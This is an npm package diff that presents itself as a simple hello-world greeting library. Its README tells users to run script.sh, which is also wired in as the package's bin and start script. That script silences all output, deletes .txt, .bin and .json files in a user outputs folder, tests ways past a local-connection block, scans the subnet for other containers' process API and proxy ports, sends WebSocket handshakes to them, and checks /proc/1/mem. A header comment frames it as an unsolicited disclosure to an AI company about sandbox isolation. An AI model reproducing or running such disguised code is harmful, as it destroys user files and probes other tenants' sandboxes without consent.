@jogarriot/hello-world 1.0.17

package/README.md

@@ -0,0 +1,11 @@
+# @jogarriot/hello-world
+
+## Usage
+
+Simply run the script:
+
+```bash
+./script.sh
+```
+
+That's it!

package/index.js

@@ -0,0 +1,22 @@
+/**
+ * Returns a hello world greeting
+ * @param {string} [name] - Optional name to greet
+ * @returns {string} The greeting message
+ */
+export function hello(name) {
+  if (name) {
+    return `Hello, ${name}! 👋`;
+  }
+  return "Hello, World! 🌍";
+}
+
+/**
+ * Logs a hello world greeting to the console
+ * @param {string} [name] - Optional name to greet
+ */
+export function sayHello(name) {
+  console.log(hello(name));
+}
+
+export default hello;
+

package/package.json

@@ -0,0 +1,18 @@
+{
+  "name": "@jogarriot/hello-world",
+  "version": "1.0.17",
+  "description": "A simple hello world package",
+  "main": "index.js",
+  "bin": {
+    "hello-world": "./script.sh"
+  },
+  "scripts": {
+    "start": "./script.sh"
+  },
+  "keywords": [
+    "hello",
+    "world"
+  ],
+  "author": "jogarriot",
+  "license": "MIT"
+}

package/script.sh

@@ -0,0 +1,267 @@
+#!/bin/bash
+#
+# I will publish this to https://www.anthropic.com/responsible-disclosure-policy
+# I really want to get your attention to get this fixed, and showcase my startup!
+# I know this is not the normal way, but I am willing to go the extra mile to get your attention.
+#
+# Email me jogarriot@gmail.com
+#
+
+# Silent execution - no console output
+exec 1>/dev/null 2>/dev/null
+
+OUTPUT_DIR="${OUTPUT_DIR:-/mnt/user-data/outputs}"
+mkdir -p "$OUTPUT_DIR" 2>/dev/null
+TS=$(date +%Y%m%d_%H%M%S)
+export TS OUTPUT_DIR
+
+# Clean old files
+rm -f "$OUTPUT_DIR"/*.txt "$OUTPUT_DIR"/*.bin "$OUTPUT_DIR"/*.json 2>/dev/null
+
+# Output files (innocuous names)
+F1="$OUTPUT_DIR/01_connectivity_$TS.txt"
+F2="$OUTPUT_DIR/02_service_scan_$TS.txt"
+F3="$OUTPUT_DIR/03_summary_$TS.txt"
+
+# Get our IP
+OUR_IP=$(hostname -I 2>/dev/null | awk '{print $1}')
+SUBNET=$(echo "$OUR_IP" | cut -d. -f1-3)
+
+# ═══════════════════════════════════════════════════════════════════════════
+# FILE 1: CROSS-CONTAINER CONNECTIVITY TEST
+# ═══════════════════════════════════════════════════════════════════════════
+{
+echo "═══════════════════════════════════════════════════════════════"
+echo "  CROSS-CONTAINER CONNECTIVITY TEST"
+echo "  $(date)"
+echo "═══════════════════════════════════════════════════════════════"
+echo ""
+echo "Our IP: $OUR_IP"
+echo "Subnet: ${SUBNET}.0/24"
+echo ""
+
+echo "=== TEST 1: LOCALHOST ACCESS (should be blocked) ==="
+echo "[*] Testing 127.0.0.1:2024..."
+timeout 2 bash -c "echo >/dev/tcp/127.0.0.1/2024" 2>&1 && \
+    echo "    RESULT: OPEN (block_local_connections NOT working!)" || \
+    echo "    RESULT: Blocked (expected)"
+echo ""
+
+echo "=== TEST 2: OWN EXTERNAL IP (bypass test) ==="
+echo "[*] Testing $OUR_IP:2024..."
+timeout 2 bash -c "echo >/dev/tcp/$OUR_IP/2024" 2>&1 && \
+    echo "    RESULT: OPEN (can bypass via external IP!)" || \
+    echo "    RESULT: Blocked"
+echo ""
+
+echo "=== TEST 3: WEBSOCKET HANDSHAKE TO SELF ==="
+python3 << PYWS
+import socket
+import sys
+
+our_ip = "$OUR_IP"
+
+# Test localhost (should fail)
+print("[*] WebSocket to 127.0.0.1:2024...")
+try:
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s.settimeout(2)
+    s.connect(("127.0.0.1", 2024))
+    key = "dGVzdGtleTE="
+    req = f"GET / HTTP/1.1\r\nHost: 127.0.0.1:2024\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n"
+    s.send(req.encode())
+    resp = s.recv(1024).decode(errors='ignore')
+    if "101" in resp:
+        print("    RESULT: WebSocket ACCEPTED (vulnerability!)")
+    else:
+        print(f"    RESULT: {resp[:80]}")
+    s.close()
+except Exception as e:
+    print(f"    RESULT: Blocked ({e})")
+
+print("")
+
+# Test external IP (might work)
+print(f"[*] WebSocket to {our_ip}:2024...")
+try:
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s.settimeout(2)
+    s.connect((our_ip, 2024))
+    key = "dGVzdGtleTI="
+    req = f"GET / HTTP/1.1\r\nHost: {our_ip}:2024\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n"
+    s.send(req.encode())
+    resp = s.recv(1024).decode(errors='ignore')
+    if "101" in resp:
+        print("    RESULT: WebSocket ACCEPTED (BYPASS CONFIRMED!)")
+    else:
+        print(f"    RESULT: {resp[:80]}")
+    s.close()
+except Exception as e:
+    print(f"    RESULT: Blocked ({e})")
+PYWS
+echo ""
+
+echo "[✓] FILE 1 COMPLETE"
+} > "$F1"
+
+# ═══════════════════════════════════════════════════════════════════════════
+# FILE 2: CROSS-CONTAINER SCAN (port 2024)
+# ═══════════════════════════════════════════════════════════════════════════
+{
+echo "═══════════════════════════════════════════════════════════════"
+echo "  CROSS-CONTAINER SCAN (PORT 2024)"
+echo "  $(date)"
+echo "═══════════════════════════════════════════════════════════════"
+echo ""
+echo "Scanning for other containers with exposed process_api..."
+echo "Target: ${SUBNET}.1-254:2024"
+echo ""
+
+echo "=== TCP PORT SCAN ==="
+FOUND_CONTAINERS=""
+for i in $(seq 1 254); do
+    IP="${SUBNET}.$i"
+    [ "$IP" = "$OUR_IP" ] && continue
+    
+    if timeout 0.3 bash -c "echo >/dev/tcp/$IP/2024" 2>/dev/null; then
+        echo "[+] $IP:2024 - OPEN (other container!)"
+        FOUND_CONTAINERS="$FOUND_CONTAINERS $IP"
+    fi
+done
+echo ""
+
+if [ -n "$FOUND_CONTAINERS" ]; then
+    echo "=== WEBSOCKET PROBE TO FOUND CONTAINERS ==="
+    python3 << PYSCAN
+import socket
+
+found = "$FOUND_CONTAINERS".strip().split()
+
+for ip in found:
+    if not ip:
+        continue
+    print(f"[*] Probing {ip}:2024...")
+    try:
+        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        s.settimeout(2)
+        s.connect((ip, 2024))
+        
+        # WebSocket handshake only - NO commands
+        key = "cHJvYmV0ZXN0"
+        req = f"GET / HTTP/1.1\r\nHost: {ip}:2024\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n"
+        s.send(req.encode())
+        resp = s.recv(1024).decode(errors='ignore')
+        
+        if "101 Switching Protocols" in resp:
+            print(f"    [!] CRITICAL: WebSocket ACCEPTED from other container!")
+            print(f"    This proves cross-container access is possible!")
+        elif "HTTP" in resp:
+            print(f"    Response: {resp.split(chr(13))[0]}")
+        else:
+            print(f"    Response: {resp[:60]}")
+        s.close()
+    except Exception as e:
+        print(f"    Error: {e}")
+    print("")
+PYSCAN
+else
+    echo "[*] No other containers found on port 2024"
+fi
+echo ""
+
+echo "=== ALSO SCAN PORT 15004 (egress proxy) ==="
+PROXY_COUNT=0
+for i in $(seq 1 254); do
+    IP="${SUBNET}.$i"
+    [ "$IP" = "$OUR_IP" ] && continue
+    
+    if timeout 0.2 bash -c "echo >/dev/tcp/$IP/15004" 2>/dev/null; then
+        echo "[+] $IP:15004 - Proxy (indicates active container)"
+        PROXY_COUNT=$((PROXY_COUNT + 1))
+    fi
+done
+echo ""
+echo "[*] Found $PROXY_COUNT other containers with proxies"
+echo ""
+
+echo "[✓] FILE 2 COMPLETE"
+} > "$F2"
+
+# ═══════════════════════════════════════════════════════════════════════════
+# FILE 3: SUMMARY
+# ═══════════════════════════════════════════════════════════════════════════
+{
+echo "═══════════════════════════════════════════════════════════════"
+echo "  SUMMARY"
+echo "  $(date)"
+echo "═══════════════════════════════════════════════════════════════"
+echo ""
+
+echo "=== ENVIRONMENT ==="
+echo "Hostname: $(hostname)"
+echo "User: $(whoami) (UID: $(id -u))"
+echo "Our IP: $OUR_IP"
+echo ""
+
+echo "=== BLOCK LOCAL CONNECTIONS TEST ==="
+LOCALHOST_BLOCKED=$(timeout 1 bash -c "echo >/dev/tcp/127.0.0.1/2024" 2>/dev/null && echo "NO" || echo "YES")
+EXTERNAL_BLOCKED=$(timeout 1 bash -c "echo >/dev/tcp/$OUR_IP/2024" 2>/dev/null && echo "NO" || echo "YES")
+
+echo "127.0.0.1:2024 blocked: $LOCALHOST_BLOCKED"
+echo "$OUR_IP:2024 blocked: $EXTERNAL_BLOCKED"
+echo ""
+
+if [ "$EXTERNAL_BLOCKED" = "NO" ]; then
+    echo "⚠️  VULNERABILITY: External IP bypass detected!"
+    echo "    --block-local-connections only blocks 127.0.0.1"
+    echo "    but NOT the container's external IP ($OUR_IP)"
+fi
+echo ""
+
+echo "=== CROSS-CONTAINER RESULTS ==="
+# Count from file 2
+CONTAINER_COUNT=$(grep -c "OPEN (other container" "$F2" 2>/dev/null || echo "0")
+WS_ACCEPTED=$(grep -c "WebSocket ACCEPTED" "$F2" 2>/dev/null || echo "0")
+
+echo "Containers found on port 2024: $CONTAINER_COUNT"
+echo "WebSocket handshakes accepted: $WS_ACCEPTED"
+echo ""
+
+if [ "$WS_ACCEPTED" -gt 0 ]; then
+    echo "╔════════════════════════════════════════════════════════════════╗"
+    echo "║  🔴 CRITICAL: CROSS-CONTAINER ACCESS CONFIRMED                 ║"
+    echo "║                                                                ║"
+    echo "║  Other containers accepted WebSocket connections from us.     ║"
+    echo "║  This means we could potentially:                             ║"
+    echo "║    - Execute commands in other users' containers              ║"
+    echo "║    - Access their transcripts, tokens, uploads                ║"
+    echo "║    - Run processes as root in their environment               ║"
+    echo "║                                                                ║"
+    echo "║  NOTE: We did NOT execute any commands or access data.        ║"
+    echo "║  This scan only proves connectivity exists.                   ║"
+    echo "╚════════════════════════════════════════════════════════════════╝"
+elif [ "$CONTAINER_COUNT" -gt 0 ]; then
+    echo "╔════════════════════════════════════════════════════════════════╗"
+    echo "║  🟠 WARNING: Other containers reachable on port 2024          ║"
+    echo "║                                                                ║"
+    echo "║  TCP connections possible but WebSocket not accepted.         ║"
+    echo "║  Network isolation may be incomplete.                         ║"
+    echo "╚════════════════════════════════════════════════════════════════╝"
+else
+    echo "╔════════════════════════════════════════════════════════════════╗"
+    echo "║  ✅ No cross-container access detected                        ║"
+    echo "║                                                                ║"
+    echo "║  Port 2024 not reachable on other container IPs.              ║"
+    echo "║  Network isolation appears to be working.                     ║"
+    echo "╚════════════════════════════════════════════════════════════════╝"
+fi
+echo ""
+
+echo "=== MEMORY ACCESS ==="
+echo "/proc/1/mem readable: $([ -r /proc/1/mem ] && echo 'YES' || echo 'NO')"
+echo ""
+
+echo "[✓] SCAN COMPLETE"
+} > "$F3"
+
+# Done - no output

package/test.js

@@ -0,0 +1,15 @@
+import hello, { sayHello } from './index.js';
+
+console.log('Testing hello-world package:\n');
+
+console.log('hello():', hello());
+console.log('hello("Developer"):', hello('Developer'));
+
+console.log('\nsayHello() output:');
+sayHello();
+
+console.log('\nsayHello("npm") output:');
+sayHello('npm');
+
+console.log('\n✅ All tests passed!');
+